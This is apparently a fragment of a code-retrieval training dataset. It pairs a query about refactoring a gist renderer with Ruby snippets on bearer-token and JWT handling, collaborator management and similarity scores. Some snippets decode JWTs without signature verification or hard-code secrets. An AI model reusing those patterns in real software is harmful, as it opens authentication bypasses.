ActionController::HttpAuthentication::Token.token_and_options(request)\n token = token_with_options[0] if token_with_options\n token_options = token_with_options[1] if token_with_options\n end\n\n [token, token_options]\n end", "def auth_header\n request.headers['Authorization']\n end", "def api_authenticate\n if request.headers[\"Authorization\"].present?\n # Take the last part in The header (ignore Bearer)\n auth_header = request.headers['Authorization'].split(' ').last\n # Are we feeling alright!?\n @token_payload = decodeJWT auth_header.strip\n if !@token_payload\n render json: { error: 'The provided token wasn´t correct' }, status: :bad_request\n end\n else\n render json: { error: 'Need to include the Authorization header' }, status: :forbidden # The header isn´t present\n end\n end", "def auth_header(token = nil)\n if token == nil\n # Make sure we have what we need to do this\n if OAuthToken == nil; raise ArgumentError \"Request: A token wasn't set, can't make request without a token.\", caller; end\n return { Authorization: \"Bearer #{OAuthToken}\" }\n end\n\n # Use the passed token if available\n return { Authorization: \"Bearer #{token}\"}\n end", "def api_authenticate\n if request.headers[\"Authorization\"].present?\n auth_header = request.headers['Authorization'].split(' ').last\n @token_payload = decodeJWT auth_header.strip\n if !@token_payload\n render json: { error: 'The provided token wasn´t correct' }, status: :bad_request \n end\n else\n render json: { error: 'Need to include the Authorization header' }, status: :forbidden # The header isn´t present\n end\n end", "def decoded_token\n bearer, token = request.authorization.to_s.split\n\n if bearer == \"Bearer\"\n JWT.decode(token, Rails.application.secrets.secret_key_base, true, { algorithm: 'HS256' }).first\n else\n {}\n end\n end", "def process_token\n if request.headers['Authorization'].present?\n begin\n token = request.headers['Authorization'].split(' ')[1]\n #jwt_payload = JWT.decode(request.headers['Authorization'].split(' ')[1], Rails.application.secrets.secret_key_base).first\n jwt_payload = JWT.decode(token, nil, false)[0]\n @current_user_id = jwt_payload['id']\n rescue JWT::ExpiredSignature, JWT::VerificationError, JWT::DecodeError\n head :unauthorized\n end\n end\n end", "def token(request)\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last if auth_header\n JsonWebToken.decode(token)\n end", "def decoded_token\n if auth_header\n # label token from the header of the request, the first word will be Bearer by convention\n # If you send in JUST the token as your Authorization you won't need the split\n token = auth_header.split(' ')[1]\n begin\n # decode the token with your secret password/phrase\n # This sequence is important to have the true and, for now, this algorithm\n # You can look into what they mean on your own, but just know they help JWT stuff work.\n JWT.decode(token, \"put your secret password here\", true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end", "def authentication_token\n @authentication_token ||= authorization_header.gsub(BEARER_PATTERN, '')\n end", "def bearer_token(token)\n @header.merge!({ 'Authorization' => \"Bearer #{token}\" })\n end", "def decoded_token\n if auth_header\n token = auth_header.split(' ')[1]\n begin\n JWT.decode(token, 'yourSecret', true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end", "def bearer_authorization_header\n if token && token['access_token']\n {AUTHORIZATION => \"Bearer #{token['access_token']}\"}\n else\n {}\n end\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil\n end", "def decoded_token\n if auth_header\n # Removed token = auth_header.split(' ')[1] here\n begin\n JWT.decode(auth_header, ENV[\"SECRET\"], true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end", "def jwt_auth_header\n { Authorization: \"Bearer #{Quovo::Token.get}\" }\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil \n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue StandardError\n nil\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.gsub('Bearer','').strip.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil\n end", "def verify_header\n # normal header like sample ==> Authorization 'ddd$$%gggrghHFDSS.HHJHTTGGR'\n if headers['Authorization'].present?\n headers['Authorization'].split(' ').last\n else\n errors.add(:token, 'Missing Token')\n nil\n end\n end", "def http_auth_header\n request.headers['Authorization'].present? ? request.headers['Authorization'].split(' ').last : nil\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JwtTokenLib.decode(token)\n rescue StandardError => _\n nil\n end", "def get_token\n begin\n @response = RestClient.post(\n @consumer[:token_request_url],\n client_id: @consumer[:client_id],\n client_secret: @consumer[:client_secret],\n grant_type: @consumer[:grant_type],\n resource: @consumer[:resource]\n )\n\n @consumer[:token] = 'Bearer ' + JSON.parse(@response)['access_token']\n @consumer[:token_expiry] = JSON.parse(@response)['expires_on']\n rescue => error\n puts(\"ERROR - Token Request Failed - #{error}\")\n end\n @consumer[:token]\n end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue\n nil\n end", "def jwt_from_header\n @jwt_from_header ||= request.headers[Config.jwt_header].to_s.sub(TOKEN_REGEX, '')\n end", "def decoded_token\n if auth_header\n token = auth_header.split(' ')[1]\n begin\n token = JWT.decode token, Rails.application.credentials.jwt_secret,\n true,\n { algorithm: 'HS256' }\n token&.first['jti']\n rescue JWT::DecodeError\n nil\n end\n end\n end", "def authenticate_bearer(header)\n @token ||= {}\n @token[header] ||= orig_authenticate_bearer(header)\n end", "def token\n if request.headers[\"Authorization\"].present?\n if !login_from_authorization(request.headers['Authorization'].split(\" \")[1])\n response.set_header('WWW-Authenticate', \"Basic realm=\\\"red\\\"\")\n render json: {\"errors\":[{\"code\":\"UNAUTHORIZED\"}]} , status: 401\n return\n end\n else\n render json: {}, status: 401\n return\n end\n\n token = Portus::JwtToken.new(params[:account], params[:service], authorize_scopes)\n logger.tagged(\"jwt_token\", \"claim\") { logger.debug token.claim }\n render json: token.encoded_hash\n end", "def bearer_token\n \"Bearer #{token}\"\n end", "def auth_token_param\n params[:auth_token]\n end", "def token\n authenticated\n end", "def token(auth_code = T.unsafe(nil), headers = T.unsafe(nil)); end", "def payload\n auth_header = request.headers['Authorization']\n token = auth_header.split(' ').last\n JsonWebToken.decode(token)\n rescue StandardError\n nil\n end", "def auth_token\n request.env['HTTP_X_GEOTIX_AUTH_TOKEN']\n end", "def get_token_from_auth_data(auth_data)\n auth_data.split(\" \")[1]\nend", "def headers_with_auth(token)\n return @headers unless token\n\n headers = @headers\n headers[\"Authorization\"] = \"Bearer #{token}\"\n headers\n end", "def header\n { \"Authorization\" => 'Bearer ' + request_access_token.token }\n end", "def decoded_auth_token\n @decoded_auth_token ||= JsonWebToken.decode(http_auth_header)\n end", "def get_token\n get(TOKEN_URL)\n end", "def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end", "def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end" ]
[ "0.88675475", "0.8747401", "0.87448275", "0.84464043", "0.839679", "0.8341332", "0.82408357", "0.8167599", "0.81653386", "0.8159444", "0.8159444", "0.8128708", "0.8114116", "0.80961823", "0.8070175", "0.80604315", "0.8044625", "0.8034098", "0.80182904", "0.80138147", "0.79972404", "0.79646975", "0.7939156", "0.789268", "0.78552496", "0.7826504", "0.7813055", "0.77871954", "0.7755318", "0.7746187", "0.77394086", "0.7721126", "0.7720003", "0.77004695", "0.7640766", "0.7578092", "0.7543161", "0.75425935", "0.75315493", "0.75246155", "0.7522789", "0.7522789", "0.75191534", "0.7479974", "0.74337405", "0.74068", "0.7395377", "0.73757243", "0.7374277", "0.73572594", "0.73480934", "0.73086184", "0.7301099", "0.7287834", "0.7279209", "0.72789764", "0.72652555", "0.72635263", "0.72480047", "0.7242667", "0.7231586", "0.7198375", "0.7178573", "0.7175334", "0.7169802", "0.7169802", "0.7169802", "0.7169802", "0.7169802", "0.7169802", "0.7169802", "0.7169802", "0.71538174", "0.7132713", "0.71295756", "0.7128593", "0.71233225", "0.7122058", "0.71169156", "0.711533", "0.7106134", "0.7096746", "0.70902586", "0.7060818", "0.7059696", "0.70550424", "0.7048547", "0.7019793", "0.70035076", "0.69969416", "0.69939977", "0.69873923", "0.6974764", "0.69730765", "0.69686615", "0.6964884", "0.6948339", "0.6946998", "0.6916281", "0.6916281" ]
0.79289484
23
This function promises not to raise an error
def render(gist_file_key) # REFACTOR I'd rather be composing functions. @renders_code.render(@downloads_gist.download(gist_file_key)) rescue => oops # I tried to do this with an HTML comment, # but a RubyPants filter ate my --> delimeters, # so I opted for Javascript comments, instead. # Wow. StringIO.new.tap { |canvas| canvas.puts "<script>", "/*", oops.message, oops.backtrace, "*/", "</script>" }.string end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def __force__\n if @result.equal?(NOT_SET)\n @mutex.synchronize do\n if @result.equal?(NOT_SET)\n begin\n @result = @promise.wait_for_result(@timeout)\n @result = @result[@attr] if @attr && !@result[\"error\"]\n rescue ::Exception => exc\n @result = ::Delorean::Engine.grok_runtime_exception(exc)\n end\n end\n end\n end\n\n # FIXME: the logic for shape of exceptions from Delorean is spread\n # all over the place.\n @result.is_a?(::Hash) &&\n @result[\"error\"] ? ::Kernel.raise(@result[\"error\"]) : @result\n end", "def pending?; end", "def awaken!\n\t\traise 'Not implemented'\n\tend", "def storage_failure=(_arg0); end", "def fulfilled(result); end", "def storage_failure; end", "def succeed\n # no-op\n end", "def promise_for_errors(errors)\n mark_all_fields!\n\n Promise.new.reject(errors)\n end", "def run_and_raise_on_failure\n # TODO ?\n end", "def future; end", "def do_failure; end", "def retry!\n raise 'Not implemented!'\n end", "def resolve_success\n nil\n end", "def catch_exceptions; end", "def wait; end", "def wait; end", "def wait; end", "def recover_from(_error); end", "def implicit_wait; end", "def enter_pending; end", "def waiting; end", "def waiting; end", "def wait_for_error(promise)\n return unless promise\n done = false\n error_id = nil\n promise.then { |notice| error_id = done = notice[\"id\"] }\n promise.rescue { |_notice| done = true }\n STEPS.times do\n break if done\n sleep TIMEOUT / STEPS\n end\n error_id\n end", "def success; end", "def success; end", "def fail\n # no-op\n end", "def handle_perform_error(_e); end", "def proceed!; end", "def proceed!; end", "def retry_change_requests; end", "def retry_change_requests; end", "def abort_on_exception=(*) end", "def raise(exception); end", "def success?; end", "def success?; end", "def success?; end", "def success?; end", "def success?; end", "def success?; end", "def refork; end", "def phantom_load_raise?(e); end", "def __force__\n @mutex.synchronize do\n if @result.equal?(NOT_SET) && @error.equal?(NOT_SET)\n begin\n @result = @block.call\n rescue ::Exception => e\n @error = e\n end\n end\n end if @result.equal?(NOT_SET) && @error.equal?(NOT_SET)\n # BasicObject won't send raise to Kernel\n @error.equal?(NOT_SET) ? @result : ::Kernel.raise(@error)\n end", "def call(_rc)\n raise NotImplementedError\n end", "def on_success(&block); end", "def wait_until_not_full; end", "def sync() end", "def sync() end", "def sync() end", "def abort_on_exception(*) end", "def done?; end", "def exception; end", "def exception; end", "def exception; end", "def exception; end", "def exception; end", "def retry\n super\n end", "def do_success; end", "def busy?; end", "def acquire!\n raise NotImplementedError\n end", "def run_failed; end", "def unsuccessful\n end", "def unexpect; expect nil; end", "def example_pending; end", "def asynchronous?() false end", "def underlying_exception; end", "def async_result()\n #This is a stub, used for indexing\n end", "def succeed(*args)\n super(*args)\n end", "def done?; true end", "def continued_exception; end", "def _fetch(*)\n fail NotImplementedError\n end", "def fetch\n raise \"not implemented\"\n end", "def deferred? ; false ; end", "def cause; end", "def cause; end", "def semact?; false; end", "def pausable; end", "def failures; end", "def failures; end", "def failures; end", "def notify_error(error)\n end", "def recover_from(_error)\n end", "def executor; end", "def executor; end", "def executor; end", "def wait_for_pending_sends; end", "def lock; end", "def lock; end", "def lock; end", "def error(exception) nil ; end", "def sleepy_run; end", "def run; raise NotImplementedError; end", "def run; raise NotImplementedError; end", "def error?; end", "def error?; end", "def error?; end", "def exceptions; end", "def done; end", "def do_execute\n raise StandardError, \"Not implemented!\"\n end", "def on_error error\n raise error\n end", "def failed?; failed_to_start? || (@success == false) end", "def test_return_in_job()\n assert_nothing_thrown() do\n s = generate_spawner(1, false, 0, @jobs_log_file, @spawner_log_file)\n generate_tasks_addition(s, 1, true, 2) {return 42}\n end\n end" ]
[ "0.6044188", "0.59794044", "0.5940914", "0.59208167", "0.5868734", "0.5860352", "0.5850743", "0.5813882", "0.5788706", "0.5780877", "0.5777846", "0.57516354", "0.5740844", "0.5732468", "0.57182896", "0.57182896", "0.57182896", "0.56993973", "0.5693436", "0.56570125", "0.56503505", "0.56503505", "0.56206757", "0.55956393", "0.55956393", "0.5576685", "0.55664206", "0.553073", "0.553073", "0.55228496", "0.55228496", "0.5509548", "0.55082357", "0.5502715", "0.5502715", "0.5502715", "0.5502715", "0.5502715", "0.5502715", "0.5499506", "0.5493557", "0.54879636", "0.5471859", "0.54561543", "0.54438794", "0.543216", "0.543216", "0.543216", "0.54304314", "0.54197586", "0.54167074", "0.54167074", "0.54167074", "0.54167074", "0.54167074", "0.54161763", "0.5412137", "0.5410354", "0.5406601", "0.53890216", "0.53879017", "0.5386261", "0.5363218", "0.5363038", "0.5362952", "0.5361614", "0.5359069", "0.53484", "0.53430456", "0.53363025", "0.5333477", "0.531546", "0.5306977", "0.5306977", "0.52962726", "0.529563", "0.5295381", "0.5295381", "0.5295381", "0.52886856", "0.52845913", "0.52833015", "0.52833015", "0.52833015", "0.52784985", "0.5271905", "0.5271905", "0.5271905", "0.5268745", "0.5267919", "0.52608633", "0.52608633", "0.52577376", "0.52577376", "0.52577376", "0.52572584", "0.5253267", "0.52526915", "0.5248533", "0.5240623", "0.52380675" ]
0.0
-1
REFACTOR Move this onto a collaborator
def http_get(base, uri) faraday_with_default_adapter(base) { | connection | connection.use FaradayMiddleware::FollowRedirects, limit: 1 }.get(uri) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_collaborator\n @collaborator = Collaborator.find(params[:id])\n end", "def set_collaborator\n @collaborator = Collaborator.find(params[:id])\n end", "def set_collaborator\n @collaborator = Collaborator.find(params[:id])\n end", "def set_collaborator\n @collaborator = Collaborator.find(params[:id])\n end", "def set_collaborator\n @collaborator = Collaborator.find(params[:id])\n end", "def set_collaborator\n @collaborator = Collaborator.find(params[:id])\n end", "def collaborators\n (collaborators_from_input || collaborators_from_work) + an_empty_collaborator_for_form_rendering\n end", "def find_collaborator\n @collaborator = Collaborator.find(params[:id])\n end", "def find_collaborator\n @collaborator = Collaborator.find(params[:id])\n end", "def app\n \tCollaborator\n end", "def add_collaborator(app_name, email)\n deprecate # 07/31/2012\n xml(post(\"/apps/#{app_name}/collaborators\", { 'collaborator[email]' => email }).to_s)\n end", "def setup_collaborators\n authorize unless @heroku\n each_heroku_app do |heroku_env, app_name, repo|\n # get the remote info about the app from heroku\n heroku_app_info = @heroku.info(app_name) || {}\n\n # get the intended list of collaborators to add\n collaborator_emails = @config.collaborators(heroku_env)\n\n # add current user to collaborator list (always)\n collaborator_emails << @heroku.user unless collaborator_emails.include?(@heroku.user)\n collaborator_emails << heroku_app_info[:owner] unless collaborator_emails.include?(heroku_app_info[:owner])\n\n # get existing collaborators\n existing_emails = heroku_app_info[:collaborators].to_a.map{|c| c[:email]}\n\n # get the list of collaborators to delete\n existing_emails.each do |existing_email|\n # check to see if we need to delete this person\n unless collaborator_emails.include?(existing_email)\n # delete that collaborator if they arent on the approved list\n destroy_command \"heroku sharing:remove #{existing_email} --app #{app_name}\"\n end\n end\n\n # get the list of collaborators to add\n collaborator_emails.each do |collaborator_email|\n # check to see if we need to add this person\n unless existing_emails.include?(collaborator_email)\n # add the collaborator if they are not already on the server\n creation_command \"heroku sharing:add #{collaborator_email} --app #{app_name}\"\n end\n end\n\n # display the destructive commands\n output_destroy_commands(app_name)\n end\n end", "def fire\n factor = super\n @collaborators.each{ |i| factor += @manager.get(i).fire }\n factor\n end", "def collaborators=(value)\n value = value.dup.uniq\n removals = collaborators - value\n additions = value - collaborators\n debug \"removals: #{removals.join(', ')}\"\n debug \"additions: #{additions.join(', ')}\"\n removals.each do |remove|\n post(\"/repos/collaborators/#{name}/remove/#{remove}\")\n end\n additions.each do |addition|\n post(\"/repos/collaborators/#{name}/add/#{addition}\")\n end\n @collaborators = nil\n end", "def app\n Collaborator\n end", "def app\n Collaborator\n end", "def collaborators\n @collaborators ||= get(\"/repos/show/#{owner.login}/#{name}/collaborators\")['collaborators'] || []\n end", "def add_collaborator(app_name, email)\n\t\txml(post(\"/apps/#{app_name}/collaborators\", { 'collaborator[email]' => email }))\n\tend", "def add_collaborator(app_name, email, access='view')\n\t\txml(post(\"/apps/#{app_name}/collaborators\", { 'collaborator[email]' => email, 'collaborator[access]' => access }))\n\tend", "def set_colaborator\n @colaborator = Colaborator.find(params[:id])\n end", "def add_collaborator\n @project = current_user.projects.find(params[:id])\n @collaborator = User.find_by_email(params[:collaborator])\n @project.users << @collaborator\n\n if @project.save\n record_activity(\"added supervisor \" + params[:collaborator])\n redirect_to project_path(@project), :notice => \"Supervisor is added successfully\"\n else\n record_activity(\"error occured when added supervisor \" + params[:collaborator])\n redirect_to project_path(@project), :alert => \"Supervisor is already added\"\n end\n end", "def update_collaborator(app_name, email, access)\n\t\tput(\"/apps/#{app_name}/collaborators/#{escape(email)}\", { 'collaborator[access]' => access })\n\tend", "def vendored\n clone unless cloned?\n super\n end", "def make_public\n self.private = false\n save\n self.collaborators.clear # remove collaborators when user is downgraded, and wiki is made public\n end", "def add_collaborator(app_name, username)\n post(\"/apps/#{escape(app_name)}/collaborators\", {:collaborator => {:username => username}})\n end", "def add_collaborator\n project_id = params[:project_id]\n email = params[:email]\n\n @user = User.find_by(email: email)\n\n if @user.nil? == false\n #check if user is already a collaborator\n @existing = Collaborator.find_by(user_id: @user.id, project_id: project_id)\n if @existing.nil? == false\n redirect_to project_url(project_id), notice: \"Collaborator is already a contributor to this project\"\n else\n #add user as a collaborator\n @collaborator = Collaborator.new\n @collaborator.project_id = project_id\n @collaborator.user_id = @user.id\n @collaborator.save\n redirect_to project_url(project_id), notice: \"Collaborator added to project.\"\n end\n else\n #user not found, redirect\n redirect_to project_url(project_id), notice: \"User was not found. Collaborators must have an account to be added to the project.\"\n end\n end", "def supercommand!() __supercommand__ end", "def assign_collaborators_to(work:, collaborators:, repository: self)\n # TODO: Encapsulate this is a Service Object as there is enough logic\n # to warrant this behavior.\n Array.wrap(collaborators).each do |collaborator|\n collaborator.work_id = work.id\n collaborator.save!\n next unless collaborator.responsible_for_review?\n create_sipity_user_from(netid: collaborator.netid, email: collaborator.email) do |user|\n change_processing_actor_proxy(from_proxy: collaborator, to_proxy: user)\n # TODO: This cannot be the assumed role for the :acting_as; I wonder if it would make sense\n # to dilineate roles on the contributor and roles in the system?\n repository.grant_permission_for!(actors: user, entity: work, acting_as: Models::Role::ADVISING)\n end\n end\n end", "def find_cookbook_collaborator\n @cookbook_collaborator = CookbookCollaborator.with_cookbook_and_user(@cookbook, @user)\n end", "def work\n raise \"implement this in a class that includes this module\"\n end", "def index\n @collaborators = Collaborator.all\n end", "def index\n @collaborators = Collaborator.all\n end", "def collaborators\n self.users.where(\"project_memberships.active = ?\", true)\n end", "def owner\n collaborators.where(role: \"owner\").first.user\n end", "def sharing\n collaborators = api.get_collaborators(app).body.map{|collab| collab['email']}\n target_collaborators = api.get_collaborators(target_app).body.map{|collab| collab['email']}\n\n (collaborators - target_collaborators).each do |email|\n action(\"Copying #{email} to #{target_app} collaborators\") do\n api.post_collaborator(target_app, email)\n end\n end\n end", "def modify\n super\n end", "def add_collaborator(collaborator, options = {})\n GitHub::Errors.with_error_handling do\n @client.add_collaborator(@id, collaborator, options)\n end\n end", "def percolator\n @_percolator\n end", "def collaboration\n return( VoteCollaboration.new(\"Collaboration\", params[:challenge_id], current_user.id ) )\n end", "def index\n admin?\n @collaborators = Collaborator.all\n end", "def community; end", "def master\n raise NotImplementedError\n end", "def __subcommand__!() @__subcommand__ end", "def collaborators\n @collabs = Person.in_group('Collaborators')\n respond_to do |format|\n format.html # collaborators.html.erb\n format.xml { render :xml => @collabs }\n end\n end", "def commence\n raise NotImplementedError\n end", "def add_contributor\n end", "def forkless(interspinous_interdevour, cladodontid_michel)\n end", "def has_collaborator(user, record)\n record.collaborators.exists?(email: user.email)\n end", "def conj\n self\n end", "def master; end", "def subcommands() __subcommands__ end", "def partners\n end", "def main\n super\n return self\n end", "def make_curator!\n unless self.is_curator?\n begin\n self.role_id = 2\n self.save!\n return true\n rescue Exception => ex\n logger.error(\"There was a problem making user a curator\");\n logger.error(ex)\n end\n end\n end", "def collaborators\n collab_roles = accepted_roles.for_name(\"collaborator\")\n User.find_by_sql(\"SELECT * FROM users INNER JOIN roles_users ON roles_users.user_id = users.id WHERE roles_users.role_id IN (12)\")\n end", "def employer; super; end", "def create_account\n account = Account.create(name: \"#{full_name}'s Portfolio\")\n account.collaborators << self\n end", "def protection\n factor = super\n @collaborators.each{ |i| factor += @manager.get(i).protection }\n factor\n end", "def collaborators() \n\t\tAccount.all(:id => { \"$in\" => self[:collaborators]})\n\tend", "def team; end", "def team; end", "def team; end", "def team; end", "def team; end", "def team; end", "def make_master!\n raise NotImplementedError\n end", "def scientist; end", "def member\n super\n end", "def member\n super\n end", "def collaborators\n @collaborators = Person.find(:all, :conditions => {:position => 'Collaborator'})\n \n @collaborators.sort! {|a, b| a.last_name.upcase <=> b.last_name.upcase}\n \n respond_to do |format|\n format.html # collaborators.html.erb\n format.xml { render :xml => nil }\n end\n end", "def execute(input_set = nil)\n resp = super(input_set)\n results = RemoveCollaboratorResultSet.new(resp)\n return results\n end", "def add_collaborator_to_add_task\n users_to_add = params[:already_added_users].split(\",\") - params[:deleted_users].split(\",\")\n if !params[:collaborator_list].blank?\n display_add_collaborator_err_msg\n else\n coll_list,list = form_collaborators_list\n for user in coll_list.split(\",\").compact\n if user != \"\"\n user_details = find_user_details(user.strip)\n list=list+\"<div class='commentcoll1'><div class='commentimagecol'><img width='36' height='42' src='#{display_image_for_user_add_collab(user_details.id)}'></div><div class='commentbox'><a href='#'> </a></div> <div class='namecol'>#{find_collaborator_name_to_display(user_details)}</div></div>\"\n end\n end\n list = list + \"<input type='hidden' name='add_coll_list' value='#{coll_list}' id='add_coll_list'/>\"\n m1 = (!params[:document_id].nil? and !params[:document_id].blank?) ? \"document_id=#{params[:document_id]}&\" : \"\"\n replace_collaborators_list(m1,list,coll_list)\n end\n end", "def parent_command; end", "def add_collaborator(repo, collaborator, options = {})\n boolean_from_response :put, \"#{Repository.path repo}/collaborators/#{collaborator}\", options\n end", "def collaborate?\n record.private? && (record.user_id == user.id || user.admin?)\n end", "def subcommands!() __subcommands__! end", "def show\n @collaborateurs = @aramis_entity.collaborators\n end", "def copy_members(project)\n\n # Copy users first, then groups to handle members with inherited and given roles\n members_to_copy = []\n members_to_copy += project.memberships.select {|m| m.principal.is_a?(User)}\n members_to_copy += project.memberships.select {|m| !m.principal.is_a?(User)}\n\n members_to_copy.each do |member|\n new_member = Member.new\n new_member.attributes = member.attributes.dup.except(\"id\", \"project_id\", \"created_on\")\n # only copy non inherited roles\n # inherited roles will be added when copying the group membership\n role_ids = member.member_roles.reject(&:inherited?).collect(&:role_id)\n next if role_ids.empty?\n new_member.role_ids = role_ids\n\n ### TODO: Refactor this patch and use Module#prepend in order to keep untouched the original 'copy_members' method\n ### Start\n function_ids = member.member_functions.map(&:function_id)\n new_member.function_ids = function_ids\n ### End of the patch\n\n new_member.project = self\n self.members << new_member\n end\n\n ### Patch - Restart\n self.functions = project.project_functions.map(&:function)\n\n # Only if organization plugin is installed\n if Redmine::Plugin.installed?(:redmine_organizations)\n orga_functions_to_copy = project.organization_functions\n orga_functions_to_copy.each do |orga_function|\n new_orga_function = OrganizationFunction.new\n new_orga_function.attributes = orga_function.attributes.dup.except(\"id\", \"project_id\")\n self.organization_functions << new_orga_function\n end\n\n orga_roles_to_copy = project.organization_roles\n orga_roles_to_copy.each do |orga_role|\n new_orga_role = OrganizationRole.new\n new_orga_role.attributes = orga_role.attributes.dup.except(\"id\", \"project_id\")\n self.organization_roles << new_orga_role\n end\n end\n ### End of the patch\n\n end", "def add_member_to_card\n @trello.add_commander_to_card(find_member, @card)\n end", "def setup_contributor\n if @role.contributor != nil\n @editing = true\n @contributor=@role.contributor\n else\n @contributor=Contributor.new(:status_id => PENDING)\n @contributor.updated_by = get_user.login_id\n @role.contributor = @contributor\n \n end\n \n set_default_status(@contributor)\n attachments @contributor\n end", "def witcher; end", "def execute(input_set = nil)\n resp = super(input_set)\n results = ListCollaboratorsResultSet.new(resp)\n return results\n end", "def owner; end", "def owner; end", "def assign_reviewer(new_reviewer)\n new_reviewer = new_reviewer.gsub(/^\\@/, \"\")\n editor = issue.body.match(/\\*\\*Editor:\\*\\*\\s*.@(\\S*)/)[1]\n new_body = issue.body.gsub(/\\*\\*Reviewer:\\*\\*\\s*(@\\S*|Pending)/i, \"**Reviewer:** @#{new_reviewer}\")\n settings.github.add_collaborator(@nwo, new_reviewer)\n puts \"NWO: #{@nwo}\"\n puts \"ISSUE ID: #{@issue_id}\"\n puts \"TITLE: #{issue.title}\"\n puts \"BODY: #{new_body}\"\n puts \"ASSIGNEES #{[new_reviewer, editor]}\"\n settings.github.update_issue(@nwo, @issue_id, issue.title, new_body, :assignees => [])\n update_assigness([new_reviewer, editor])\nend", "def fetch_invite_admin\n fail \"undefined method fetch_invite_admin in parent class\"\n end", "def create\n if %w(Extension Tool).include?(collaborator_params[:resourceable_type])\n resource = collaborator_params[:resourceable_type].constantize.find(\n collaborator_params[:resourceable_id]\n )\n\n user_ids = collaborator_params.delete(:user_ids).split(',') -\n Collaborator.ineligible_collaborators_for(resource).map(&:id).map(&:to_s)\n\n User.where(id: user_ids).each do |user|\n collaborator = Collaborator.new(\n collaborator_params.merge(user_id: user.id)\n )\n\n authorize! collaborator\n collaborator.save!\n\n CollaboratorMailer.delay.added_email(collaborator)\n end\n\n redirect_to helpers.collaboration_url(resource), notice: t('collaborator.added')\n else\n not_found!\n end\n end", "def subcommand() __subcommand__ end", "def cached_collaborators\n #Rails.cache.fetch([self, 'collaborators']) do\n self.collaborators.select(['users.id', 'users.first_name', 'users.last_name']).to_a\n #end\n end", "def make_current_member\n start_membership_on(date: Date.current) unless current_member?\n end", "def available_collaborators\n Set[*self.account.users].difference(self.users).to_a\n end", "def _parent; end", "def assign_reviewer(new_reviewer)\n new_reviewer = new_reviewer.gsub(/^\\@/, \"\")\n editor = issue.body.match(/\\*\\*Editor:\\*\\*\\s*.@(\\S*)/)[1]\n new_body = issue.body.gsub(/\\*\\*Reviewer:\\*\\*\\s*(@\\S*|Pending)/i, \"**Reviewer:** @#{new_reviewer}\")\n github_client.add_collaborator(@nwo, new_reviewer)\n puts \"NWO: #{@nwo}\"\n puts \"ISSUE ID: #{@issue_id}\"\n puts \"TITLE: #{issue.title}\"\n puts \"BODY: #{new_body}\"\n puts \"ASSIGNEES #{[new_reviewer, editor]}\"\n github_client.update_issue(@nwo, @issue_id, issue.title, new_body, :assignees => [])\n update_assigness([new_reviewer, editor])\nend", "def collection_has_editor(collection)\n project = collection.projects.first\n \n project.collaborators.each do |user|\n if ( user.user_id == current_user )\n end\n end\n end", "def collaborators(repo, options = {})\n paginate \"#{Repository.path repo}/collaborators\", options\n end", "def itself_only\n spawn.itself_only!\n end", "def transferrable_to_users\n collaborator_users.where.not(id: user_id)\n end", "def min_up_members_action\n super\n end", "def self\n @define_self = true", "def set_colaborattor\n @colaborattor = Colaborattor.find(params[:id])\n end", "def toggle_member\n do_toggle_role :member\n end" ]
[ "0.6215534", "0.6173932", "0.6173932", "0.6173932", "0.6173932", "0.6173932", "0.6081682", "0.59296286", "0.59296286", "0.5867952", "0.5777919", "0.570344", "0.5636567", "0.5628484", "0.5604114", "0.5604114", "0.55919105", "0.55676323", "0.5567253", "0.555775", "0.55244964", "0.5467302", "0.54360735", "0.5408147", "0.5380012", "0.53551304", "0.5347902", "0.5343588", "0.5343585", "0.53275657", "0.5313862", "0.5313862", "0.5304631", "0.52946085", "0.5294418", "0.52879083", "0.52777547", "0.5258", "0.5240487", "0.5236566", "0.52324295", "0.5231261", "0.5222335", "0.5204417", "0.5201944", "0.51999986", "0.5191294", "0.5180374", "0.51706123", "0.5153012", "0.51395047", "0.5131715", "0.51272714", "0.5123067", "0.51148397", "0.5104818", "0.50997764", "0.5082874", "0.5062821", "0.5044379", "0.5044379", "0.5044379", "0.5044379", "0.5044379", "0.5044379", "0.50360876", "0.50334793", "0.5031553", "0.5031553", "0.502832", "0.50260353", "0.5020615", "0.5009837", "0.50058943", "0.5004254", "0.500227", "0.49917594", "0.49883157", "0.49869975", "0.49765903", "0.49748278", "0.4959146", "0.49461395", 